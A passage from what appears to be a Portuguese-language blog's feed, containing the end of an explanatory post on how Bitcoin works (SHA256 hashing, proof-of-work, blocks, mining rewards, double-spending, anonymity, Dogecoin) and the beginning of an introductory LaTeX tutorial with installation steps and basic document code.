  &lt;li&gt;Uma pequena mudança no valor de entrada causa uma grande mudança no valor da hash.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Abaixo há uma caixa de texto que computa um algoritmo de hash famoso, o &lt;a href=&quot;https://en.wikipedia.org/wiki/SHA-2&quot;&gt;SHA256&lt;/a&gt;, utilizado como algoritmo da Bitcoin.&lt;/p&gt;

&lt;div class=&quot;fancybox&quot;&gt;
&lt;h3 style=&quot;margin-top: 0rem;&quot;&gt;SHA256&lt;/h3&gt;
&lt;input type=&quot;text&quot; id=&quot;myInput&quot; style=&quot;width: 100%; height: 40px; font-size:22px;&quot; oninput=&quot;computeHash()&quot; /&gt;
&lt;p id=&quot;sha-output&quot; style=&quot;font-size: 16px; margin-bottom: 0rem; font-family: &apos;Roboto Mono&apos;, monospace; word-wrap:break-word;&quot;&gt;&lt;/p&gt;
&lt;script src=&quot;https://cdn.rawgit.com/chrisveness/crypto/9a15aa9/sha256.js&quot;&gt;&lt;/script&gt;
&lt;script&gt;
function computeHash() {
    var x = document.getElementById(&quot;myInput&quot;).value;
    var hash = Sha256.hash(x);
    document.getElementById(&quot;sha-output&quot;).innerHTML = hash;
}
window.onload = computeHash;
&lt;/script&gt;
&lt;/div&gt;

&lt;p&gt;Vamos analisar rapidamente a função hash SHA256. As colisões são no mínimo improváveis. Como a saída possui sempre 256 bits, as possibilidades são 2&lt;sup&gt;256&lt;/sup&gt;, que é aproximadamente 10&lt;sup&gt;77&lt;/sup&gt; ou &lt;strong&gt;1 seguido de 77 zeros&lt;/strong&gt;. Isso quer dizer que pode-se atribuir uma hash distinta para cada conjunto de 1000 átomos no universo.&lt;/p&gt;

&lt;p&gt;Existe um segundo uso muito especial para funções hash: a ofuscação de senhas. Supondo que você queira guardar as senhas dos seus usuários sem &lt;em&gt;realmente&lt;/em&gt; saber as senhas deles. Isso é possível? Sim. Basta armazenar a hash das senhas individuais. Ao receber a senha que o usuário digitou, basta tirar a hash dela e comparar com a que você possui armazenada. Se as duas coincidirem, já que a probabilidade de colisão é zero para senhas, então a senha inserida está correta.&lt;/p&gt;

&lt;p&gt;Outra utilização é fazer a verificação da integridade de arquivos. Já que a hash é praticamente única, para ter certeza que alguém recebeu o arquivo &lt;em&gt;exato&lt;/em&gt; que você enviou, basta pedir que ele tire a hash e compare com a quem você tem do seu arquivo. É implausível que alguém consiga modificar o arquivo antes do fim do universo de tal forma que a hash continue a mesma. Note que é só uma questão de tempo até que funções hash sejam quebradas: &lt;a href=&quot;https://www.mscs.dal.ca/~selinger/md5collision/&quot;&gt;o MD5 foi quebrado a algum tempo e não deve ser mais usado&lt;/a&gt;, enquanto que o antecessor do SHA256, SHA1, com 160 bits, &lt;a href=&quot;http://shattered.io/&quot;&gt;foi quebrado com um projeto interessantíssimo em parceria com a Google&lt;/a&gt;. Até os dias atuais, a SHA256 continua sendo uma função hash segura.&lt;/p&gt;

&lt;p&gt;Como a hash é pseudo-aleatória, é necessário gerar uma quantidade exorbitante de hashes por segundo para se achar uma hash com propriedades desejadas. Já vimos que é virtualmente impossível achar uma hash específica, mas e um conjunto de hashes? Tente por exemplo achar uma hash que inicie com o número &lt;strong&gt;1&lt;/strong&gt; na forma hexadecimal (digite na caixa de texto acima). Não são necessárias muitas tentativas para achar o número &lt;strong&gt;9&lt;/strong&gt;, ou também a letra &lt;strong&gt;d&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Agora tente achar algo que gere uma hash iniciando em &lt;strong&gt;0&lt;/strong&gt;. Vou te poupar do trabalho: &lt;strong&gt;o número é 39&lt;/strong&gt;. Quer um desafio ainda mais difícil? Tente achar uma hash que inicie em &lt;strong&gt;5 zeros&lt;/strong&gt;. Esse é ainda mais complicado: &lt;strong&gt;596138&lt;/strong&gt;. Com &lt;strong&gt;7 zeros&lt;/strong&gt;? Não é preciso ir muito mais longe, &lt;strong&gt;665782&lt;/strong&gt; já resolve o problema, mas além dele, o próximo que inicia com 7 zeros é apenas &lt;strong&gt;81308074&lt;/strong&gt;! Embora seja fácil encontrar hashes com pequenos número de zeros usando apenas um processador e um script em Python, a dificuldade aumenta imensamente conforme a ‘‘raridade’’ da descoberta aumenta. Embora tenha sido relativamente fácil encontrar todos os números anteriores, o número &lt;strong&gt;426479724&lt;/strong&gt;, que inicia com &lt;strong&gt;8 zeros&lt;/strong&gt;, exigiu cerca de 30 minutos ou duas xícaras de café (de fato é o único com 8 zeros menor que 1 bilhão).&lt;/p&gt;

&lt;p&gt;Esse conceito de tempo de processamento é importante para as criptomoedas e é chamado de &lt;strong&gt;Prova de Trabalho&lt;/strong&gt; ou &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Proof-of-work_system&quot;&gt;Proof-of-Work&lt;/a&gt;&lt;/strong&gt;. Em suma, você tem que provar que realmente trabalhou para criar valor, ou minerar uma Bitcoin.&lt;/p&gt;

&lt;h2 id=&quot;conceito-de-transação&quot;&gt;Conceito de Transação&lt;/h2&gt;

&lt;p&gt;Uma transação nada mais é do que uma prova de que o dinheiro foi enviado de uma pessoa para outra. Suponha que o usuário &lt;strong&gt;Alpha&lt;/strong&gt; queira enviar uma quantia para o usuário &lt;strong&gt;Beta&lt;/strong&gt;. A imagem a seguir representa um envio desse tipo retirado de um bloco aleatório. Note que o usuário &lt;strong&gt;Alpha&lt;/strong&gt;, além de enviar uma quantia para &lt;strong&gt;Beta&lt;/strong&gt;, envia uma quantidade para seu próprio endereço de Bitcoin. Isso ocorre porque cada transação deve equivaler à quantidade de Bitcoins na carteira de quem está enviando. O que sobrar na carteira que não for enviado para nenhuma outra carteira é utilizado como &lt;strong&gt;taxa de transação&lt;/strong&gt; e é enviado para quem minerar o bloco.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cloud.githubusercontent.com/assets/8211602/25315163/5bc9d36a-2827-11e7-873b-db2c0814e9a2.png&quot; style=&quot;width: 100%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No entanto, cada transação precisa ser assinada para ser válida. Isso é feito utilizando-se de &lt;a href=&quot;https://en.wikipedia.org/wiki/Digital_signature&quot;&gt;criptografia e chaves públicas e privadas&lt;/a&gt;. Ao criar uma transação, o usuário a assina com sua &lt;strong&gt;chave privada&lt;/strong&gt; (que só ele sabe, a chave que representa sua carteira) e envia também sua &lt;strong&gt;chave pública&lt;/strong&gt; (que não pode ser usada para obter a chave privada).&lt;/p&gt;

&lt;p&gt;Uma propriedade matemática dessas chaves é que somente a chave privada pode assinar mensagens, e a chave pública pode ser utilizada para verificar a autenticidade, se quem enviou a transação realmente possui a chave privada, e também verificar integridade, se essa transação não foi alterada no caminho. É extremamente implausível computacionalmente para a tecnologia atual atacar por força bruta as chaves, portanto, &lt;strong&gt;nem mesmo o dono das Bitcoins pode resgatá-las caso a chave privada seja perdida.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Note que as transações são anunciadas publicamente para todos os nodos, ficando disponível em chamados ledgers, de forma que qualquer um pode ter registro das transações que vão sendo feitas. Mas para realmente consolidar as transações, elas são reunidas em blocos pelos mineradores de Bitcoin para que tenham validade. &lt;strong&gt;Uma transação só é válida após ser adicionada em um bloco&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;bloco&quot;&gt;Bloco&lt;/h2&gt;

&lt;p&gt;O bloco nada mais é do que uma lista de transações. O bloco é composto de 6 campos, que são explicados a seguir:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Versão&lt;/strong&gt;: versão do bloco.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Hash do bloco anterior&lt;/strong&gt;: SHA256 do bloco anterior.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Hash das transações&lt;/strong&gt;: SHA256 da raiz da &lt;a href=&quot;https://en.wikipedia.org/wiki/Merkle_tree&quot;&gt;árvore de Merkle&lt;/a&gt; de todas as transações. Essa é uma hash combinada de todas as transações para o bloco possuir tamanho fixo. Assim, o esforço computacional para minerar um bloco com 1 ou 1000 transações é o mesmo.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Tempo&lt;/strong&gt;: convenção de tempo como segundos transcorridos desde 1970-01-01T00:00 UTC.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Target&lt;/strong&gt;: número de 256 bits (assim como a hash) que define a dificuldade do bloco ao ser minerado.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Nonce&lt;/strong&gt;: número de 32 bits que pode ser variado livremente.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Um exemplo de um bloco real pode ser visto abaixo. Note a quantidade de zeros da hash do bloco.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cloud.githubusercontent.com/assets/8211602/25316075/932c32da-2836-11e7-8a2f-10470e8d4d62.png&quot; style=&quot;width: 100%;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;blockchain-cadeia-de-blocos&quot;&gt;Blockchain (Cadeia de Blocos)&lt;/h2&gt;

&lt;p&gt;Como pode ser visto na definição de bloco, cada bloco possui a hash do bloco anterior. Isso significa que todos os blocos, à partir do primeiro, estão “ligados” ao bloco anterior, em uma cadeia única. No momento em que um bloco novo é criado, ele é adicionado no &lt;em&gt;blockchain&lt;/em&gt; e o próximo bloco já pode ser minerado. O minerador então recebe a recompensa por minerar o bloco mais a soma de todas as taxas de transações.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/8211602/52563946-0d093e80-2e03-11e9-9887-f1b4917b2425.png&quot; style=&quot;width: 100%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;O objetivo da Bitcoin é ter um bloco minerado a cada 10 minutos. Com o aumento do número de mineradores, também cai o tempo necessário para mineração. Para corrigir esse problema, a cada 2016 blocos, ou aproximadamente 2 semanas, a dificuldade é alterada e enviada na variável &lt;strong&gt;target&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Para minerar, basta utilizar o algoritmo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SHA256(SHA256(bloco))&lt;/code&gt; e comparar se o resultado é menor que o &lt;strong&gt;target&lt;/strong&gt;. Se for, você minerou com sucesso e pode receber suas Bitcoins. Caso contrário, você deve incrementar o &lt;strong&gt;Nonce&lt;/strong&gt; e tentar novamente. O processo de minerar consiste em &lt;strong&gt;tentar várias combinações de transações e Nonce até achar uma configuração com o número de zeros correto (hash menor que o target)&lt;/strong&gt;. Embora pareça simples, note que cada 0 adicionado aumenta exponencialmente o trabalho necessário. Você pode comprovar isso tentando achar qualquer valor que gere uma hash que inicie com 10 zeros!&lt;/p&gt;

&lt;p&gt;Os blocos são minerados por um único motivo: manter a blockchain consistente e registrar as transações. Uma vez que uma transação é adicionada em um bloco, ela está confirmada, e cada novo bloco que é gerado à sua frente resulta em mais uma confirmação. Como todos os nodos na rede podem ter sua própria cópia do blockchain, todos podem verificar que as transações e as hashes são válidas. &lt;strong&gt;O blockchain nada mais é do que um banco de dados de transações.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;dificuldade-com-o-tempo&quot;&gt;Dificuldade com o tempo&lt;/h3&gt;

&lt;p&gt;A próxima figura mostra como a dificuldade dos blocos cresceu com o tempo. Note que a dificuldade também é medida em PHash/s, ou Peta Hashes por segundo (&lt;strong&gt;1P = 10&lt;sup&gt;15&lt;/sup&gt;&lt;/strong&gt;), uma produção combinada exorbitante de hashes!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/8211602/33445169-5135a04a-d5e3-11e7-896b-64b9d90555a8.png&quot; style=&quot;width: 100%;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;proteção-contra-fraude&quot;&gt;Proteção contra fraude&lt;/h3&gt;

&lt;p&gt;A escolha de uma cadeia de blocos não é à toa: supondo que alguém queira gastar a mesma quantia de Bitcoins duas vezes. Para isso, ele pode tentar alterar o bloco em que sua transação foi registrada para retirá-la do bloco. Isso implica em recalcular esse bloco e todos os posteriores até o bloco honesto atual, já que a cadeia válida é sempre a mais longa. Nesse processo, ele terá que superar todo o poder computacional combinado de todos os outros mineradores, que é inviável.&lt;/p&gt;

&lt;p&gt;As transações, mesmo sendo completamente públicas, estão seguras pois &lt;strong&gt;a menor alteração no bloco implica em uma solução completamente diferente para o Nonce, que implica em resolver o problema computacional praticamente impossível de superar todos os outros mineradores juntos&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;No entanto, como já dito, as transações só são válidas quando adicionadas à algum bloco. Isso quer dizer que pessoas vão tentar se aproveitar desse artifício para poder gastarem duas vezes a mesma quantidade de Bitcoin. Supondo que A tenha uma quantidade Y de Bitcoins em sua carteira. Então, A decide fazer um pagamento de Y para B e outro pagamento de Y para C. &lt;strong&gt;Fica claro que uma das transações não será completada&lt;/strong&gt;, pois só uma das duas transações poderá ser confirmada, sendo a segunda descartada pelos mineradores. Se ele comprou de B e C, um dos dois não receberá o pagamento. Por isso, &lt;strong&gt;é necessário esperar uma quantidade mínima de confirmações para ela ser considerada segura&lt;/strong&gt;. Para comprar um café, talvez nenhuma confirmação seja necessária, para comprar em uma loja online, talvez um número de 6 confirmações seja suficiente, mas para comprar um carro, um número de 100 confirmações pode ser requerido pelo vendedor. Embora seja uma definição arbitrária, &lt;strong&gt;é comum considerar 6 blocos como mais do que suficiente para comprovar um pagamento&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;porque-minerar&quot;&gt;Porque minerar?&lt;/h3&gt;

&lt;p&gt;Mas você deve estar se perguntando: porque alguém gastaria tempo e processamento para tentar minerar um bloco? A resposta é simples: todo bloco possui uma recompensa!&lt;/p&gt;

&lt;p&gt;A recompensa é inicialmente &lt;strong&gt;50 BTC&lt;/strong&gt; e é cortada ao meio a cada &lt;strong&gt;210,000 blocos&lt;/strong&gt;, ou aproximadamente 4 anos. &lt;strong&gt;O número máximo de Bitcoins que serão produzidas será de 21,000,000 BTC&lt;/strong&gt;, portanto, a recompensa passará de 6,25 BTC diretamente para 0 BTC.&lt;/p&gt;

&lt;p&gt;Quando a recompensa for zero, nenhuma nova Bitcoin poderá ser criada, mas os blocos continuarão a ser gerados, porque as transações continuarão acontecendo. Acredita-se que, com o aumento do número de transações, a recompensa virá através das &lt;strong&gt;taxas de transação&lt;/strong&gt;, que são valores pequenos que os usuários “doam” para os mineradores para que suas transações tenham preferência ao serem adicionadas aos blocos. O minerador, ao minerar uma grande quantidade de transações por vez, garante que receberá uma quantia maior por taxas, que serve como estímulo para continuar a mineração.&lt;/p&gt;

&lt;h2 id=&quot;anonimato&quot;&gt;Anonimato&lt;/h2&gt;

&lt;p&gt;Embora a Bitcoin tenha a capacidade de ser extremamente anônima, por vários motivos ela não é. Como todas as transações são públicas, pessoas podem juntar informações suficientes suas seguindo o rastro das moedas: basta saber onde um dos pagamentos foi parar e seguir as transações de volta até chegar na sua carteira, especialmente se você divulgou seus endereços de recebimento.&lt;/p&gt;

&lt;p&gt;Isso não significa que esses problemas não podem ser diminuídos. Um dos métodos é utilizar um serviço de mixing, conhecido como eWallet, onde centenas de usuários enviam fundos para uma carteira, que reenvia os fundos (em quantidades diferentes dos recebidos ou em várias porções) para a carteira final. Nesse esquema, não há como identificar quais moedas foram para quem. Supondo que 10 usuários enviem 1 BTC cada para a carteira, que redistribua para outros 10 usuários. Não há como saber quem enviou quanto para quem. Para reforçar o anonimato, pode-se usar uma cadeia de mais de um eWallet, fazendo o rastreamento extremamente difícil.&lt;/p&gt;

&lt;p&gt;E antes que você pense que anonimato não é importante, imagine que algum atacante consiga a informação de quanto dinheiro você guarda debaixo do seu colchão digital, e queira se apoderar das suas chaves privadas. Ele poderia rastrear os pagamentos que você fez e utilizá-los para conseguir dados pessoais sensíveis, mesmo partindo somente das suas chaves públicas.&lt;/p&gt;

&lt;h2 id=&quot;dogecoin&quot;&gt;Dogecoin&lt;/h2&gt;

&lt;p&gt;Após a criação da Bitcoin, inúmeras outras criptomoedas foram propostas e implementadas. Você mesmo pode criar sua própria moeda (embora talvez a parte difícil seja fazer as pessoas acharem que ela tem algum valor), já que os códigos dessas moedas são abertos.&lt;/p&gt;

&lt;p&gt;Uma dessas moedas que chama atenção é a &lt;a href=&quot;http://dogecoin.com/&quot;&gt;Dogecoin&lt;/a&gt;, criada em 6 de dezembro de 2013. Embora ela seja baseada em um &lt;a href=&quot;https://en.wikipedia.org/wiki/Doge_(meme)&quot;&gt;meme&lt;/a&gt;, essa moeda possui uma proposta interessante de implementação.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cloud.githubusercontent.com/assets/8211602/25319397/ebe49c18-2873-11e7-98a5-786928ee1b4e.png&quot; style=&quot;width: 30%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Em primeiro lugar, ela foi desenhada para ser uma moeda de rápida confirmação: 1 minuto por bloco, em comparação com os 10 minutos da Bitcoin ou 2.5 minutos da Litecoin. A recompensa por bloco variou entre aleatória (Vai entender?) nas primeiras iterações, foi fixada em alguns valores e hoje é fixa em 10,000. Esse valor deve ser mantido para sempre, que difere da Bitcoin, que é limitada.&lt;/p&gt;

&lt;p&gt;A Dogecoin também usa o algoritmo de proof-of-work &lt;a href=&quot;https://en.bitcoin.it/wiki/Scrypt_proof_of_work&quot;&gt;scrypt&lt;/a&gt;. Contrário ao SHA256, esse algoritmo visa reduzir a eficiência de circuitos especializados como FPGAs e ASICs, que são capazes de calcular uma quantidade tremenda de hashes por segundo. Para tal, o scrypt possui uma sequência de cálculos a serem realizados que dependem dos cálculos anteriores. Para calcular a hash, é necessário uso intenso de CPU e memória, que em teoria deveria dificultar a monopolização da moeda por hardware especializado. Nesse caso há uma troca entre memória e CPU: quando o consumo de memória aumenta, o consumo de CPU deveria diminuir e vice-versa.&lt;/p&gt;

&lt;p&gt;Há várias críticas à Dogecoin. Uma delas é que &lt;strong&gt;esse modelo de limitar a mineração aos usuários com seus computadores comuns falhou miseravelmente&lt;/strong&gt;. O mercado foi rapidamente dominado pelo uso de GPUs (por serem mais rápidas que as CPUs embora não devessem ser), FPGAs e ASICs, justamente o que se queria evitar.&lt;/p&gt;

&lt;p&gt;Outra crítica é que o scrypt não foi tão testado e utilizado quanto o SHA256, e pode ser suscetível à ataques ainda não conhecidos no futuro.&lt;/p&gt;

&lt;h2 id=&quot;conclusões&quot;&gt;Conclusões&lt;/h2&gt;

&lt;p&gt;Esse pequeno artigo mostrou uma visão geral de como funcionam as criptomoedas, em especial a Bitcoin. Elas apresentam uma alternativa viável para serem utilizadas por serem seguras e eficientes, além de totalmente digitais.&lt;/p&gt;

&lt;p&gt;Vale lembrar que, embora muitos serviços já aceitem Bitcoin, ela ainda não é reconhecida como uma moeda real em diversos países, e talvez não seja uma boa ideia investir suas economias em Bitcoins. Mas é certo de que seus conceitos e seu modelo descentralizado mudaram o modo como o mundo pensa sobre dinheiro.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Introdução ao LaTeX</title>
   <link href="https://bvanelli.github.io/2016/11/10/introdu-o-ao-latex/"/>
   <updated>2016-11-10T00:00:00+00:00</updated>
   <id>https://bvanelli.github.io/2016/11/10/introdu-o-ao-latex</id>
   <content type="html">&lt;!-- Include MathJax to render LaTeX. This might not work --&gt;
&lt;script type=&quot;text/x-mathjax-config&quot;&gt;
  MathJax.Hub.Config({
      jax: [&quot;input/TeX&quot;,&quot;output/SVG&quot;],
      inlineMath: [[&apos;\(&apos;,&apos;\)&apos;]]
   });
&lt;/script&gt;

&lt;script type=&quot;text/javascript&quot; id=&quot;MathJax-script&quot; async=&quot;&quot; src=&quot;https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js&quot;&gt;
&lt;/script&gt;

&lt;blockquote&gt;
  &lt;p&gt;Esse é um documento de introdução ao LaTeX. Para ver um exemplo de documento &lt;i class=&quot;fa fa-file-pdf-o fa-fw&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;&lt;a href=&quot;https://github.com/bvanelli/texdefault/raw/master/build/standard_output.pdf&quot;&gt;clique aqui&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#instalando-o-latex&quot; id=&quot;markdown-toc-instalando-o-latex&quot;&gt;Instalando o LaTeX&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#windows&quot; id=&quot;markdown-toc-windows&quot;&gt;Windows&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#linux&quot; id=&quot;markdown-toc-linux&quot;&gt;Linux&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#primeiro-documento&quot; id=&quot;markdown-toc-primeiro-documento&quot;&gt;Primeiro Documento&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#escrevendo-equações&quot; id=&quot;markdown-toc-escrevendo-equações&quot;&gt;Escrevendo Equações&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#títulos-subtítulos-e-referências-cruzadas&quot; id=&quot;markdown-toc-títulos-subtítulos-e-referências-cruzadas&quot;&gt;Títulos, Subtítulos e Referências Cruzadas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sumário&quot; id=&quot;markdown-toc-sumário&quot;&gt;Sumário&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#inserindo-imagens&quot; id=&quot;markdown-toc-inserindo-imagens&quot;&gt;Inserindo Imagens&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#imagens-simples&quot; id=&quot;markdown-toc-imagens-simples&quot;&gt;Imagens Simples&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#imagens-lado-a-lado&quot; id=&quot;markdown-toc-imagens-lado-a-lado&quot;&gt;Imagens Lado a Lado&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#organizando-uma-pasta-de-imagens&quot; id=&quot;markdown-toc-organizando-uma-pasta-de-imagens&quot;&gt;Organizando uma pasta de imagens&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#formatação&quot; id=&quot;markdown-toc-formatação&quot;&gt;Formatação&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tabelas&quot; id=&quot;markdown-toc-tabelas&quot;&gt;Tabelas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exemplo&quot; id=&quot;markdown-toc-exemplo&quot;&gt;Exemplo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#considerações-finais&quot; id=&quot;markdown-toc-considerações-finais&quot;&gt;Considerações Finais&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;

&lt;p&gt;O LaTeX (pronunciado ‘‘&lt;em&gt;Lah-tek&lt;/em&gt;’’) é uma ferramenta de preparação de textos de alta qualidade usado normalmente na publicação de trabalhos técnicos e científicos. O objetivo do LaTeX não é ser uma ferramenta de processamento de textos gráfica, mas sim uma linguagem onde o usuário se foca apenas em escrever, e deixa o programa lidar com os estilos dos títulos, subtítulos, referências, etc.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Pontos Positivos:&lt;/strong&gt;&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;Altamente Customizável.&lt;/li&gt;
    &lt;li&gt;Produz documentos de alta qualidade.&lt;/li&gt;
    &lt;li&gt;Melhor controle sobre grandes documentos, como bibliografia, citação de imagens e equações, etc.&lt;/li&gt;
    &lt;li&gt;Amplo suporte para equações e formulação matemática.&lt;/li&gt;
    &lt;li&gt;Boa documentação em fóruns como &lt;a href=&quot;http://tex.stackexchange.com/&quot;&gt;StackExchange&lt;/a&gt;.&lt;/li&gt;
  &lt;/ul&gt;

  &lt;p&gt;&lt;strong&gt;Pontos Negativos:&lt;/strong&gt;&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;Curva íngreme de aprendizado nos estágios iniciais.&lt;/li&gt;
    &lt;li&gt;Códigos de estilo são mais complicados.&lt;/li&gt;
    &lt;li&gt;A digitação tende a ser mais intuitiva do que visual.&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;instalando-o-latex&quot;&gt;Instalando o LaTeX&lt;/h2&gt;

&lt;h3 id=&quot;windows&quot;&gt;Windows&lt;/h3&gt;
&lt;p&gt;O requisito mínimo para se rodar LaTeX é um compilador, que converterá o código em um documento PDF ou DVI. No &lt;strong&gt;Windows&lt;/strong&gt;, utiliza-se o &lt;a href=&quot;https://miktex.org/download&quot;&gt;MiKTeX&lt;/a&gt;. Para um pequeno tutorial de como instalar o MiKTeX e um editor de texto clique &lt;a href=&quot;https://github.com/bvanelli/texdefault/blob/master/README.md&quot;&gt;aqui&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;linux&quot;&gt;Linux&lt;/h3&gt;
&lt;p&gt;Se seu sistema operacional for &lt;strong&gt;Linux&lt;/strong&gt;, você vai precisar dos pacotes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;texlive&lt;/code&gt;. A melhor opção é instalar diretamente o pacote &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;texlive-full&lt;/code&gt; que irá instalar diretamente todos os pacotes disponíveis  (&lt;a href=&quot;http://packages.ubuntu.com/trusty/texlive-full&quot;&gt;lista de pacotes para o Ubuntu&lt;/a&gt;). Para Debian e derivados, basta rodar o comando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apt-get install texlive-full&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;primeiro-documento&quot;&gt;Primeiro Documento&lt;/h2&gt;

&lt;p&gt;Um documento básico em LaTeX vai parecer algo do tipo:&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;% Início do documento&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\documentclass&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[11pt]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;article&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;\begin{document}&lt;/span&gt;
Olá mundo.
&lt;span class=&quot;nt&quot;&gt;\end{document}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Essas linhas de código iniciam um documento do tipo artigo com fonte de tamanho 11 pt e imprimem ‘‘Olá mundo.’’ na página. Todo o conteúdo dentro as linhas do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\begin{document&lt;/code&gt; e o &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\end{document}&lt;/code&gt; aparecerá no documento, com exceção dos comentários marcados com um sinal de porcentagem (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;As linhas antes do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\begin{document}&lt;/code&gt; fazem parte do preâmbulo. Ele é geralmente utilizado para importar pacotes ou definir comandos.&lt;/p&gt;

&lt;p&gt;No entanto, surgem alguns problemas com esse código, já que não permite o uso de acentos da Língua Portuguesa. Para isso serão utilizados mais três pacotes, o pacote &lt;a href=&quot;https://www.ctan.org/pkg/babel&quot;&gt;Babel&lt;/a&gt; que cuida das especificidades e regras de determinada linguagem, o pacote &lt;a href=&quot;https://www.ctan.org/pkg/inputenc&quot;&gt;Inputenc&lt;/a&gt; que cuida da codificação de entrada, como os acentos, e o pacote &lt;a href=&quot;https://www.ctan.org/pkg/fontenc&quot;&gt;Fontenc&lt;/a&gt; da codificação de saída.&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[brazilian]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;babel&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;% Idioma Português-Brasil&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[utf8]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;inputenc&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;c&quot;&gt;% Codificação de Entrada&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[T1]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;fontenc&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;      &lt;span class=&quot;c&quot;&gt;% Codificação de Saída&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
